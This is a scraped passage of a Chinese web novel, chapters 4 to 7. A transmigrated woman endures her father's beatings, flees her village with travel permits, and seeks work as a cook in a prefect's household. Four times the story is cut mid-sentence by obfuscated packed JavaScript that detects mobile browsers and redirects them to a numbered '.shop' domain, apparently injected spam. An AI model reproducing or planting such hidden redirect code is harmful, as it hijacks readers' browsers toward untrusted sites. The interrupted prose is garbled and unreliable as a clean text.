那小娘不知秦见君在想什么,又补充道:“我叫安承喜,这是我爹爹的令牌,拿着它便能找到我。”说着,她抬手让一旁的女使递上银子,“这些先给你,这个月的饼每日都要一份。” 秦见君听了竟然有些失望,原来不是女子做知县啊......随即她低头看着手掌上的银子,虽然小小的,但这可是她第一次在这个世界看见“大额货币”! 拿到钱的秦见君终于有了些踏实感。 直到日头西沉,秦见君还没回来,冯莲有些坐不住了。 “大牛哥,阿君怎么还不回来?” 冯大牛也有些担心,这俩小娘都是自己带来县里的,若是出了事,他是定要负责的。 两人正念叨着要上街去找找,就见秦见君不知从哪个小巷子里蹿了出来。 “阿君!你可算回来了!” 秦见君逆着夕阳跑过来,脸上带着笑,明媚又鲜活。 三人收了东西架着骡车往回赶,路上秦见君将今天发生的事告知了二人,冯莲惊讶得不行。 “阿君你真的能赚钱?” “是啊,往后我每日都要来县里做饼,赚了钱给你买新头花!” 冯莲攥着自己手里的头花,有些不好意思地笑了笑,但眼里还是遮不住的兴奋:“要是我也能赚钱就好了。” 秦见君靠在骡车侧边的挡板上,悠然道:“等我赚了钱,开了自己的店,就招你来当伙计。” “真的吗?”冯莲高兴得都坐直了身子。 前面赶车的冯大牛犹犹豫豫地问了一句:“你跟秦叔说没?” 秦见君这才想起来家里还有爹娘和弟弟,她忙嘱咐二人千万别将此事说出去。 进村时天已经黑了,正是吃晚饭的时候,秦见君偷摸从厨房翻了进去,一落地她就觉得不对劲。 平时杨甜做完晚饭,厨房里应该是热腾腾的,今天怎么凉飕飕的...... 她推开厨房门看出去,堂屋亮着灯,想来是家里人都聚在那儿,她早就备好了说辞,于是径直过去推开了堂屋的门,没想到里面的情景十分怪异。 杨甜拉着秦建业站在一旁,秦留志一个人坐凳子,面前的桌子上空荡荡的只点了一根蜡烛。 “你还知道回来?”秦留志看见秦见君,黝黑的脸上满是愤怒。 “我......”话还没说完,秦留志抄起凳子扔了过来,秦见君猝不及防只能抬手格挡,用了十成力扔过来的凳子砸在手肘上,她感觉骨头快断了。 “我说没说过不许去镇里!”秦留志没给她喘息的机会,顺手拿起锄头,粗壮的木棍直接抽在秦见君背上,疼痛瞬间袭来,她甚至有些没反应过来。 从前在孤儿院里老师们也会用体罚,但大多是打手心或者打屁股,而且孩子们十三四岁后就再没受过打,比起身上的暴力,老师们更擅长心理暴力,所以秦见君从来没想过自己在这个年纪会挨打。 她起身想反抗,却被秦留志用木棍抽得起不了身,只能缩在地上,用手和腿挡住。 这是她第一次认识到秦留志是个常年干农活的人,男子和女子的体力差异竟然这么大...... 一旁的杨甜想伸手去拦,却被秦留志迁怒,被一脚踹得撞在墙上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395788|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦建业站在旁边甚至不敢哭出声,只能靠在角落憋着气,生怕他爹想起他这号人来。 秦见君忽然感受到了绝望,身上的疼痛不间断传来,她意识已经有些模糊了,心里想着要是就这样被打死了,会穿到下一个世界去吗...... 但是她没死,秦留志似乎很知道拿捏分寸,将她打昏迷后就收了手,杨甜捂着肚子过来探她的鼻息,半晌才松了口气。 虽说春节已经过去了,但天气依旧寒冷,秦见君是被冻醒的。 “嘶......”她浑身都疼,转头就看见杨甜守在床边,身后站着个秦建业。 “别动了,刚敷的药......” 秦见君低头看了看,是上次敷在脑门上的绿汁,深呼吸两下缓了缓,想起秦留志的脸还是心跳如雷,后怕渐渐充盈了整个心脏,她不自觉发抖...... 原以为爹娘是上天送给自己的礼物,没想到是道催命符...... 现代对家暴都难以定性,惩罚力度也不强,更别说古代了,秦见君默了默,这家是待不得了......得逃! 她缓缓转头看着杨甜和秦建业,身上痛得连声音都在颤:“娘,他经常这样打我们吗?” 杨甜的眼泪唰就掉下来了,脸上带着痛苦又带着无奈:“他......他是你爹啊......” 秦见君垂眸,眼底一片冰冷,这样的人也配叫“爹”吗? “娘......要是出嫁那天我逃了......能逃走吗?” 杨甜不知道秦见君为什么突然问这个,还以为她这次又不想成亲了,忙劝她:“这次你爹说了,就是绑也要给你绑过去!你别想了......” 秦见君不依不饶地又问了一遍:“我要是逃,能逃走吗?” 杨甜忍不住问:“逃到哪儿去?” “逃出村子、出县......去哪里都好。”秦见君喃喃道。 杨甜看着她一身的伤,面露痛苦道:“没有县衙的路引,你逃不出去的......再说了,逃出去,你一个女子,要怎么活下去?我们家就靠着你爹祖上买的二十亩地啊......” 县衙的路引......秦见君背过手摸了摸腰后的木牌,心里有了计划。 因为秦见君每日都要去县里,所以特地提前拜托冯大牛帮她租了骡车。 翌日清晨,冯大牛牵着骡车在村口等了许久也没看到秦见君,沿路过去找她。 听到邻居说昨夜秦留志打了秦见君,冯大牛心里顿时慌得不行,他左思右想,自己不能就这样贸然去秦家找她,只能让冯莲去看看。 “什么?阿君又挨打了?”冯莲听了,喂鸡的小簸箕也扔了,慌慌张张往秦家去,她记得上次秦见君挨打后发了热,差点就没命了! 此时秦见君正迷迷糊糊躺在床上,身上盖着薄薄的被单,她的感知很迟钝,但意识还算清醒,虽然浑身都痛,但还是明确意识到自己似乎发烧了...... 在现代,发烧是常见病,但在秦家......秦留志是绝不可能花钱请大夫来的,她身上有安承喜给的银子,但此时杨甜和秦建业都不在身边,她烧得喉咙发干,已经发不出声音了,自然也无法叫人来。 她用力攥了攥拳头,但怎么都攥不紧,恍惚间她听到自己心底有个声音在喊。 别睡......别死...... 5. 第 5 章 绵州裴府。 裴小之揣着手走到干涸的池塘边,他家郎君正对着被清理后光秃秃的池塘发呆。 “郎君,这绵州的厨子可都来府上试过了,你都不留,上次好不容易留下来的做酱爆虾的厨子,也只有这一道菜合你口味,最后也给辞了,这下府门前连排队的人都没了......” 裴眠掩在大氅下的嘴撇了撇,回道:“技不如人,没什么好留的。” “我还想着来蹭饭,没想到一个厨子都没留下?”一个清朗的男声自身后传来。 裴眠并未回头去看,只懒懒答道:“都不好吃。” “赵郎君。”裴小之行了礼。 赵浅聿摆了摆手,走到裴眠面前,目光上下扫了扫,抿了抿唇才开口:“当初让你同我一起,请个地方官做就好,你非要进朝堂,现在把自己弄得这般模样......” 赵浅聿背着日光,裴眠微微仰头眯着眼看他,他还是一如既往地丰神俊朗,身材高大,气质卓然。 裴眠没应声,赵浅聿轻叹了一声蹲下身,凑到裴眠面前道:“今日我收到了裴叔的信,让我多多关照你。” 裴眠的眉头微微蹙了一下,又很快松开。 赵浅聿轻轻拍了一下裴眠的肩道:“绵州的事务你不必费心,左右你来之前也是我在代管,等你身子好些了,再从我这里接手也不迟。” 裴小之听了,忙上前插嘴道:“郎君,你看赵知州都这么说了,你就别逞强了......”自上任以来,裴眠只要精神好些便要处理事务,本就身子弱,这一段时间累得昏过去好几次,吓得裴小之几宿都没睡过好觉。 裴眠按在轮椅扶手上的手指敲了敲,开口道:“无妨,事务不多,眼下头疼的是招厨子。” 赵浅聿站起身,似是也有些苦恼:“招厨子的事我听说了,实在不成,你把公告发远一些,不止绵州与岭州,让周边县里、乡里能来的厨子都叫上,都说高手在民间,不如扩大范围放手试一试。” ...... 秦见君几次都觉得意识脱离了身体,脑中一片混沌,自己时而在直播间里对着镜头和补光灯介绍食品,时而缩在堂屋角落里挨棍子...... “阿君!阿君!” 有人在叫她,但她挣扎了许久也无法睁开眼,只能用尽力气将攥着碎银的手伸了出去,手掌一空,她也瞬间失去了意识。 再清醒时已是夜里了,身上仍然又痛又沉,但好歹脑袋轻了些,稍稍一动就见杨甜凑了过来。 “醒了?” 秦见君满眼血丝,撑着身子坐了起来,这才发现屋子的矮桌上还趴着一个冯莲。 冯莲本就睡得不安稳,杨甜一说话她就醒了。 “阿君......”她转头看秦见君醒了,顿时眼眶就红了,泪珠断线似的往下掉。 秦见君愣了愣,这还是她第一次见有人为了自己哭得这样真情实感...... “别......”秦见君想叫她别哭,但嗓子哑得说不出话来。 杨甜递过去一碗水,秦见君咕咚咕咚两口就喝完了,咽水时发觉嘴里有残余的苦味,许是昏迷时有人给她喂了药,不然她不一定能活下来...... 冯莲跪坐在床边地上,瘪着嘴,脸上还挂着泪痕。 秦见君伸手给她擦了一把脸:“是你给我叫的大夫?” “嗯......”冯莲的脸上有点不自在,小声道,“我擅自拿了你的银子......我没钱......” “谢谢你。”秦见君捏了捏她的脸,“给我叫大夫当然要用我的银子,没事的。” 冯莲仔细观察了秦见君的脸色,确定她是真的没生气才松了口气。 拿钱这事太敏感了,在自己家中,但凡遇到跟钱沾边的事,总是要挨一顿打的,无论自己有没有错...... “娘......我还想喝水......” 杨甜忙端着碗去屋子角落的小桶打,但桶中早就没水了,她便端着碗出门了。 “阿莲......来......”秦见君看杨甜关上了门,这才叫冯莲。 冯莲凑过去问:“怎么了?” “帮我带句话到绿苗街西边第三户......”秦见君将木牌塞进冯莲手中。 冯莲不识字,低头看了看木牌,有些不明所以:“什么话?” “过来......”秦见君对着冯莲耳语了几句,听得冯莲面色大骇。 “阿君你......”她瞪大了眼睛看着面前形容狼狈的女子,“你想逃?” “对。”秦见君盯着冯莲的眼睛道,“我说的你都记住了吗?把话带到,将路引拿回来,当夜我就会跑,不要告诉任何人。” 她将千层饼的做法告诉了冯莲,其中涉及十三香的数味材料,她担心冯莲记不住。 “记住了......”冯莲似是稍稍回忆了一下,“我只记得你说的,不知道是哪些字。” “不要紧,说给安承喜就好了。”秦见君惊讶于冯莲的记忆里,但此时她没精力想更多了,用千层饼的做法换路引逃出去,是她眼下唯一能做的事。 冯莲咽了咽口水,不知该如何应答,这时杨甜端着水回来了,两人迅速拉开距离,装作什么都没发生的样子。 秦见君喝了水,对冯莲道:“天快亮了,你回去好好休息吧。” 杨甜听了,也转头看冯莲。 冯莲背在身后的手紧紧攥着木牌,眼神有些飘忽,在杨甜叫了她三声后才恍然惊醒。 “好......好......”她快速地眨了眨眼,眼神逐渐变得坚定,“我这就回去了,阿君你等我......日落前我会再来看你的......” “好。”秦见君应下了。 天亮后杨甜也离开了,秦见君喝完药就闭上眼休息,她要保存体力,尽快好起来。 正迷迷糊糊要睡着,忽然听见门口吱呀一声,她睁眼转头看过去,是秦建业。 “姐姐......” 秦见君转过头去平躺着,又闭上了眼,她对这个弟弟没有任何感情,在他冷眼旁观自己被打的时候,她的心里就已经将这个弟弟划分了出去。 秦建业小心翼翼地走到床边,看着秦见君身上的伤痕,瘪了瘪嘴,最终还是没有哭出来。 他趴在床边待了许久,就在秦见君快要睡着的时候,他终于说话了。 “姐姐,我们带娘逃吧?” 秦见君倏地睁开眼,转动眼珠去看秦建业,他小小的脸上写满了挣扎。 “逃?怎么逃?” 秦建业听到秦见君应声,还以为这事有戏,忙凑过去道:“我们趁爹睡着了就跑,沿着良田沟跑,爹要是追上来了,我们就跳进沟里憋气!” 良田沟不是小水沟,是灌水河的分支,灌水河沿着湖梁县一路向南,据说最远能通到虔渊州。 这些是秦见君跟冯莲闲聊的时候知道的,当时秦见君还在想,虔渊州就相当于首都,肯定很繁华,等她有钱了,一定要去看看。 “娘知道吗?”秦见君问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395789|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦建业摇了摇头:“娘胆子小,我先前提了一嘴,她说不许我再提。” 秦见君没再说话了,她一个病弱之躯就够折腾了,还带上一个胆小的娘和年幼的弟,几乎是不可能逃掉的。 秦建业还在等秦见君说话,门忽然又被推开了。 “建业?你怎么在这儿?没出去玩?”杨甜端着碗走了过来。 秦见君起身,发现碗里是两颗煮熟了的鸡蛋。 “快把鸡蛋吃了,补补身子。”杨甜将碗放进秦见君掌心。 其实家里顿顿都是有肉的,虽然少,但好歹能吃上几口,但自受伤以来,她除了喝药就是喝粥,连小菜都不配的那种,只能维持基本需求,营养是一点没有的。 现在看见碗里的鸡蛋,配上杨甜小心翼翼的表情,秦见君忽然觉得冻僵的鼻子有点发酸。 她端起碗用筷子戳着鸡蛋吃,这才发现鸡蛋是用糖水煮的,滋味鲜甜。 杨甜看着她吃鸡蛋,脸上不自觉洋溢着幸福的微笑,仰头看着碗的秦建业也没闹着要吃。 等她吃完鸡蛋,把碗里剩着的糖水递给了秦建业,秦建业一点都不嫌弃,端过碗几口就喝完了。 杨甜收了碗要走,被秦见君叫住了。 “娘。” “怎么了?”杨甜又转回来,站在床前等着秦见君说话。 秦见君咬了咬牙,腮帮子跟着动了几下,半晌才开口:“你有没有想过和离?” 杨甜听得一愣,脸上的表情从惊愕转为无奈:“我是被你爹买回来的,只有他休了我的份......” “那我们逃吧?”秦见君抬头看向她。 杨甜低头看着秦见君的脸,她的黑眼圈和干裂的嘴皮都不能掩盖美貌,但这只是秦留志换钱的筹码,秦见君向来性子温和,唯一一次反抗便是出嫁那日一头撞在柱子上。 现在她又一脸认真地同自己说要逃,生性温和的她怎么忽然有这么大的胆子了呢?是真的受不了秦留志了吗?还是不想嫁给脑子有病的屠户儿子? 杨甜将碗放在矮桌上,转身拉着秦见君的手道:“你是不是不想嫁?不想嫁我就同你爹商量,别做傻事好不好?” 秦见君知道杨甜在秦留志面前是没有话语权的,嫁不嫁杨甜说了不算,她轻声道:“明晚秦留志睡着后我就逃,你要是想走,就来村口找我。”说着,她又低头看了一眼秦建业,“你也是。” 杨甜一脸震惊地带着秦建业出了屋子,秦见君总算能舒舒服服睡一觉了。 没想到刚躺下,屋子门又开了,这回是冯莲。 “路引我给你拿来了,还有一张图和一点银子。” 秦见君打开图纸一看,是地图,虽然没有标识大荆全貌,但周边的乡县州都在上头。 “安小娘说,绵州有人高价招厨子,若是你没地方去,不如去绵州试试,她相信你的手艺......这是给你的银子,她说她手头银子不多,只能拿这些了,当是买你的千层饼方子,你留着路上用。” 秦见君接过银子,眼底情绪复杂,先前安承喜给她的银子拿去请了大夫,虽剩了些但也不多了,她还没出过远门,不知道外面的情况,原本手中没有银钱,心里没底,这银子简直是雪中送炭。 “绵州......”秦见君在地图上找到了这个地方,看着不远,又是州府,想来比县要繁华,她是逃出去的,不宜在外面抛头露面,去府上当厨娘确实是个不错的选择...... 她忽然又想起杨甜和秦建业的脸。 “阿莲,替我再跑一趟吧。” 6. 第 6 章 冯莲走后,秦见君只睡了一小会儿就被堂屋的动静吵醒了。 “不嫁?有得她选?”秦留志暴躁的叫骂声穿过门板传进秦见君的耳朵里,她条件反射般地坐起身,心跳如雷,伸手拍了拍胸口这才算压下去一点。 听到秦留志声音的瞬间,她想起铺天盖地落下来的棍棒,打得她连喘息的机会都没有...... “哐当”一声,似是有什么东西被打翻了,秦见君侧耳去听,能听到密集的闷响,她对这声音熟悉极了,棍子抽打在皮肉上就是这个声音! 秦见君翻身下床,忍着痛推开了堂屋的门。 屋子里吃饭的桌子被掀翻了,杨甜趴在角落里,额头上不住淌血,眼睛和嘴巴都紧紧闭着,连秦见君开门进来都没发现。 她抬头看过去,秦留志手上抄着板凳一下一下朝杨甜砸过去。 “别打了!” 板凳和木棍一样结实,秦见君扑过去,背上狠狠挨了一下,当即眼前就开始发黑,秦留志见她脸色不对,骂骂咧咧说着晦气,扔了板凳就出门了。 半晌秦见君才缓过来,方才像是蒙上纱布的视线也渐渐清晰了,她忙低头去看杨甜。 杨甜眼神呆滞地躺在冰冷的地上,呼吸微弱。 “娘......” 杨甜似是被惊醒了,她打了个寒颤,眼珠子机械地转过来看着秦见君。 夜里秦留志发疯,说不想看见杨甜的脸,把她和秦建业一起丢出了屋子。 秦家屋子是祖上留下来的,房间多且功能齐全,除了一间厨房和一间茅厕,堂屋两边各有一个屋子,小破屋住着秦见君,大屋子住着秦留志、杨甜和秦建业。 现在两人被赶出来了,对视一眼,打算在堂屋凑合一下,没想到另一侧的屋子开了门。 “娘,进来吧。” 堂屋里头连张被单都没有,进去了也只是坐在板凳上捱着,秦见君把两人带到了自己屋子里。 熄了蜡烛,三个人分一张破被单,秦见君牵着仅剩的被单一角,盖在肚脐上,缓缓呼出一口气。 还是盖上肚脐最有安全感,果然世界上的最后一片树叶一定盖在华人的肚脐上...... 她睁眼看着破漏的屋顶,身上疼得睡不着,身边的杨甜也翻来覆去,她索性开了口:“娘,他经常打人吗?” 杨甜翻动的身子停了一瞬,她转过来面对着秦见君,昏暗中只能看见她姣好的脸部轮廓。 “以前......不打的......自从你大爹爹他们经商被排挤......就......” “大爹爹?”秦见君被这个称呼搞得有点头晕。 “爹爹的爹爹。”秦建业在一旁小声说了一句。 “经商被排挤是怎么回事?”秦见君又问。 杨甜只当是她撞坏了脑子一时给忘了,好脾气地将从小讲到大的故事又讲了一遍。 秦留志的爹,也就是秦见君的大爹爹,从前在县里卖杂货,家家户户缺什么他就卖什么,很机灵,赚了不小的一笔,后来想在县里开店,但被眼红的人盯上,联合周边商户都来排挤他。 起初他还硬扛了一阵,那些商户见他如此坚决,便雇了打手将他的腿打折了,还扬言见他一次打他一次,他认得其中一个商户是县尉的侄子,他没有办法,只好带着家人躲进了井沟村...... 难怪当初自己说要去县里赚钱,秦留志的反应会那么大...... 知道了事情缘由后,秦见君愈发看不起秦留志了,大爹爹是因为在县里不是关系户,被打压才躲到了井沟村。 这事都过去了这么多年,秦留志还被吓得只敢守住自己的二十亩田地,像个没种的孙子...... 杨甜看秦见君半天不说话,小声试探道:“你真要走?” 秦见君有些困了,闭上眼道:“娘,留在这里说不定哪天就被秦留志打死了。” 杨甜不说话了,好一会儿才又道:“你一个小娘子出门在外很危险的......”说完她抬眼去看,秦见君已经睡着了。 第二日如期而至,秦见君一整天都没出门,专心待在屋子里休息,期间冯莲又来了一趟,带给秦见君两张路引和一沓油纸。 “谢谢了。”秦见君低头将油纸展开,把三张路引分别用油纸包好,地图也包了一份。 冯莲的眼眶有点红:“你今夜一走,我们还能再见面吗?” 秦见君捏着手心的银子,她也有点不确定,从醒来到现在也只在井沟村和湖梁县里逛过,外面是什么样、路上会遇到什么,她一概不知...... “要是我能平安到绵州,就一定有再见的机会。” 冯莲的小圆脸皱了起来,眼泪啪嗒啪嗒就往下掉,她不懂,从小一起长大的姐妹怎么就要离开村子了? 她原想着两人就算出嫁了,也可以偶尔走动,可秦见君现在是要离开井沟村、离开湖梁县,去绵州! 绵州很远,她只听过,都不认识路,如果秦见君有什么三长两短,那她们就真见不着了...... 秦见君心情复杂地哄了冯莲许久,她才红着眼回了家。 天色渐暗,秦见君听着隔壁堂屋吃饭的声音,秦留志骂完杨甜骂秦建业,顺带骂自己是个弱身子,要是成亲前好不起来,嫁去夫家会让人看笑话...... 天色黑透了,堂屋的声音消失了,再过一会儿秦留志被杨甜伺候着洗完脚就会去睡觉。 秦见君盯着屋顶的破洞看天色,静静等待着。 四周静得可怕,到时候了。 秦见君轻轻推开房门,秦留志屋子里的蜡烛已经熄了,她蹑手蹑脚到了厨房,翻窗出去了。 到了村口,她找了个避风的角落蹲着,也不知道杨甜和秦建业会不会来...... 待腿都蹲麻了,她估摸着二人不会来了,忍不住伸手摸了摸衣服里藏着的路引,特地让冯莲去县里拿来了,最后还是用不上吗...... 她起身缓了缓,等眼前的浓黑过去了才抬腿往外走,这身子虽然跟自己以前长得一样,但太瘦弱了,底子有点差,等有空了一定要多锻炼身体...... 正想着,身后忽然传来声响,她以为是杨甜和秦建业来了,忙回头去看,却见村里人零零散散地拿着蜡烛出了门。 “阿君不见了?” “在家不见的?是不是被人骗出去了?” 秦见君听到自己的名字,赶紧藏了起来,透过杂草缝隙,她看见杨甜和秦建业跟在秦留志后头,挨家挨户去敲村子里人家的门,说自己不见了,帮忙找找。 仔细看过去,杨甜的脸上都是担忧,但秦留志明显是愤怒...... 杨甜告诉秦留志了。 秦见君闭着眼都知道是什么原因,杨甜怕自己一个女子在外头活不下去,想着就算抓回去嫁人也好歹是有个归宿,不至于死在外边了都没人知道。 秦见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395790|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君懊恼自己早该想到这点的,杨甜性子软,昨日又被秦留志狠狠打了一顿,刚升起的逃跑心思肯定也被打没了,只剩下对秦留志的恐惧和对自身力量的不自信。 眼见着村民们要到村口了,秦见君转头就跑,冲着良田沟的方向头也不回地跑。 “那个是阿君不?” “看着像!” “抓住她!”这一声是秦留志的。 秦见君后背发麻,跑到良田沟边上,狠狠吸了一口气就钻入了水中。 夜里的寒气冻得皮肉痛,水里更冷,丝丝缕缕的冷意直往骨头缝里碾,秦见君闭眼想象自己在盛夏的沙漠中...... 不冷......秦见君,别怕...... 她经常这样在心里安慰自己,遇到难事的时候就闭上眼告诉自己别怕,不停喊自己的名字,就好像身边一直有人在鼓励自己一样...... 憋了不知道多久,秦见君实在忍不住了,轻轻将脑袋探出了水面,那些被水阻隔的声音一下子就围了上来,她听到不远处有人在喊自己的名字,映入眼帘的是明明灭灭的烛火。 一定不能被抓回去,自己受不住秦留志再打一顿了,到时候肯定会被逼着嫁给屠户的傻儿子...... 秦见君在冰冷的水里发抖,手脚僵硬,她只能站在水里缓缓。 忽然听到身侧草丛有声响,她转头去看,树后站着秦建业! 他正一脸惊慌地看着秦见君,眼下只要他喊一声,村民们会立刻聚集过来。 两人对视,对视了多久?几秒?几分钟?秦见君无法判断。 最后秦建业抿了抿唇,轻声说了一句:“我没看见你。”说完转头就走。 秦见君愣了一瞬,立刻低声喊住了他:“秦建业!” 秦建业转头,空中飞过来两片薄薄的油纸包,他下意识伸手接住。 “藏好了。”秦见君嘱咐了一句,转身潜入水中,朝村民的反方向游走了。 天亮的时候秦见君已经有些虚脱了,一整晚有大半的时间泡在冷水里,精神也高度紧绷,这会儿真的很想睡觉,但是不能睡,她要趁天亮赶路去绵州。 对着地图看了半天,她勉强辨认出自己正在湖梁县边上,沿着官道一路走下去就能到绵州。 所谓官道不过就是比普通野路要更平整宽阔些,偶尔能看见有百姓挑着扁担赶路,还有热心的老头停下来问秦见君这是怎么了。 毕竟她衣裳半干,上面还黏着河里的淤泥和水草,形容和味道都有些一言难尽。 秦见君暂时不想收拾自己,臭烘烘、脏兮兮难辨面容的流浪汉,也比干净白嫩的女子要安全。 她低着头,散乱的头发遮住了脸,还刻意压低声音,让声音显得更粗厚些:“我没事,先前掉河里了。” 老头上下打量她,担心道:“你快回家去吧。” “知道......”秦见君话还没说完,身旁驶过去一辆板车,车上坐着三五个衣着朴素的清瘦男子,她话锋一转,问那老头:“请问这些是什么人?”她这一路上已经看见好拨类似的人了。 “这些啊,去虔渊州的。” “去虔渊州做什么?” “赶春闱啊。” 秦见君眼睛亮了,她依稀记得,有些朝代在这些大考期间,是会派人看管官道的,主要是怕赶考的学生还没到京城就嘎了,这样一来官道的安全性大大提升,她不用提心吊胆怕遇到土匪了! 7. 第 7 章 离开湖梁县两日后,秦见君找了家驿站洗了澡换了一身男装。 倒不是想女扮男装,毕竟她长得并不是棱角分明的那一类,任谁看都是女子。 她只是受不了身上的臭味和乱糟糟的头发了,一路上走过来,有好几次都怀疑自己身上长了跳蚤。 还有一个原因是她怕遇到歹人,之前在现代时经常看到女生被欺负的新闻,评论区有人指责是女性穿着暴露导致受害。 她清楚地明白这是“受害者有罪论”的陷阱,但也不得不承认穿着的不同确实会对犯罪心理起影响。 比起鼓励女性自由着装,她觉得社会应该把更多力量放在约束和惩戒加害者这方面。 现代尚且没法完善相关法规,古代就更难说了,她甚至都不知道大荆的法律大致有哪些条例。 于是她选了最稳妥的方法,换上男装后,还用布块蒙住了下半张脸。 近日没有下过雨,官道上的尘土晒得很干,有车马经过就会扬起一阵灰,她见许多书生模样的人都是这么蒙着的,想来自己跟风也不会引起注目。 出了驿站又走了半日,秦见君遇到一辆没坐满的板车,上头是一位书生带着他阿娘,问秦见君要不要搭车,价格实惠。 她徒步了两日,脚底的水泡起了又破,确实有些受不住,先前路过的板车上都是男子,眼下的机会倒是正好。 秦见君交了钱坐上板车,小腿挂在板车边上晃荡,被蹂躏许久的脚底板终于开始回血,酥酥麻麻的胀痛让她头脑清醒不少。 她转头看了一眼那书生,他正低头看书,于是她又换了个方向转过头去问:“婶婶,你们是去虔渊州吗?” “是啊,我家阿浩去虔渊州赶考......”那书生的阿娘穿得朴素又干净,眼角细纹遮不住,手上的茧子不少,一看就是勤劳又爱干净的淳朴百姓,这也是秦见君愿意搭车的原因之一。 那婶婶热情回话,一来二去的两人就聊上了,板车走了三天才到绵州。期间那名为“阿浩”的书生也加入了她们的对话,秦见君从阿浩那儿知道了许多事。 大荆如今的官家叫“武合文”,三十五岁,性格温和,很少跟大臣们红脸,但听阿浩的意思,朝堂上似是不太服这位官家。 上一位官家在世时,朝廷内斗严重,如今好了许多,但门派林立、盘根错节,牵一发而动全身,如今这位官家的话语权并不是唯一且绝对的,甚至很多时候他都听大臣们的话。 阿浩说起这事,脸上颇有些愤懑。 秦见君抱膝坐在板车上,撑着脑袋思索,听这话的意思,就是朝堂势力分散,官家也无可奈何。 她想起之前学过的历史,一般这种情况要么是宦官独大,要么是权臣把持,再不然就是世家扎根,如果想肃清朝野,那肯定是要见血的。 不过好在听说大荆土地四周并没有外敌威胁,要是官家想动手,至少不会陷入“内忧外患”的境地。 国家稳定,商业才能繁荣,秦见君放了心。 “到了!前面就是绵州!”赶骡子的车夫喊了一声。 秦见君闻声转头望过去,高大的墙体中间夹着一扇大门,此刻正大开着,门口有士兵把手,百姓们排队进出。 她抬眼,大门的上方刻了字——绵州。 进门时秦见君从油纸中取出路引,士兵很快放行,她松了口气,跟阿浩母子道别后就去了最近的脚店。 脚店中的客人南来北往,消息最是灵通。 秦见君坐下后要了一碗清茶,鼻尖萦绕着满满的酒香。 大荆人喜饮酒,但民间不许私酿,酒楼和脚店都需从官方进酒,来脚店的客人大多会点酒来过过瘾,秦见君桌上的茶倒显得有些突兀了。 她解了布块端起碗喝茶,送茶的伙计还没走,见她眉清目秀,便与她攀谈:“小娘瞧着面生,不知是从哪儿来的?” 秦见君放下茶碗,有些腼腆地抿唇笑了笑:“城外的乡下来的,听闻绵州有人招厨子?” “猜您就是为了此事来的!”那伙计瞬间绽开了一个“果然如此”的笑容,“近日里来绵州的,不是去虔渊州赶春闱,就是来我们这儿试厨子!” 他也不绕弯子,告诉秦见君招厨子的是绵州知州府上,若是想去试试,需午时前去府门前取号排队,进府后只能做一道菜,待知州大人尝过了,自会告知行与不行。 秦见君垂眸想了想,又问:“知州大人一直都没招到合心意的厨子吗?” “先前有个厨子被招进去了,听说做的是酱爆虾,但没两天又辞出来了,要我说,这知州大人的口味太难猜了,您知道吗......”伙计忽然压低了声音,引得秦见君竖起耳朵,“这知州是新上任的,听说以前在虔渊州可是个大官,不知怎么的触怒了官家,这才被贬到绵州来的!” 秦见君微微挑眉,有些惊讶,刚刚才听阿浩说官家性格温和,现在就被打脸?还是说这知州是个暴脾气?连官家都能惹恼了...... 她喝完茶便照着伙计指的路去了茶马街尾,不看不知道,一看吓一跳! 嚯!这知州府门前排队的厨子已经挤满了整条茶马街,她好不容易才从人群中挤到了府门前。 “你好,请问这里招厨子吗?”她声音不大,但够清亮,坐在桌子前发牌子的小厮抬眼看她,见她面容清丽,忽然有些不耐烦道:“招厨子,只做菜,见不着知州大人,想清楚了再来。” 秦见君愣了愣,随即脑袋转过弯来,刚刚听脚店伙计说这知州大人已经二十七岁了,从未娶妻,想来知州府这次招厨子,不小心还招蜂引蝶了...... “我是来应聘厨子的。” 那小厮又抬眼看了看秦见君,她面色诚恳,不似撒谎,裹着头巾、穿着男子的衣裳,并不像有什么其他心思的样子,于是让她出示身份证明,她拿出路引后那小厮便递了块牌子给她。 一百三十二号。 她拿着牌子循着队伍走到了最末尾,这才发现厨子的队伍不算很长,街上挤着的都是来看热闹的。 从上午等到下午,又从下午等到天黑,终于快要排到秦见君了。 “第一百三十号到第一百三十九号!” 秦见君拿着牌子进了府,前面引路的小厮走得很快,她都没来得及细看“大户人家”的房子长什么样,就直接进了厨房。 毫不夸张地说,这是她到大荆以来见过最豪华的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 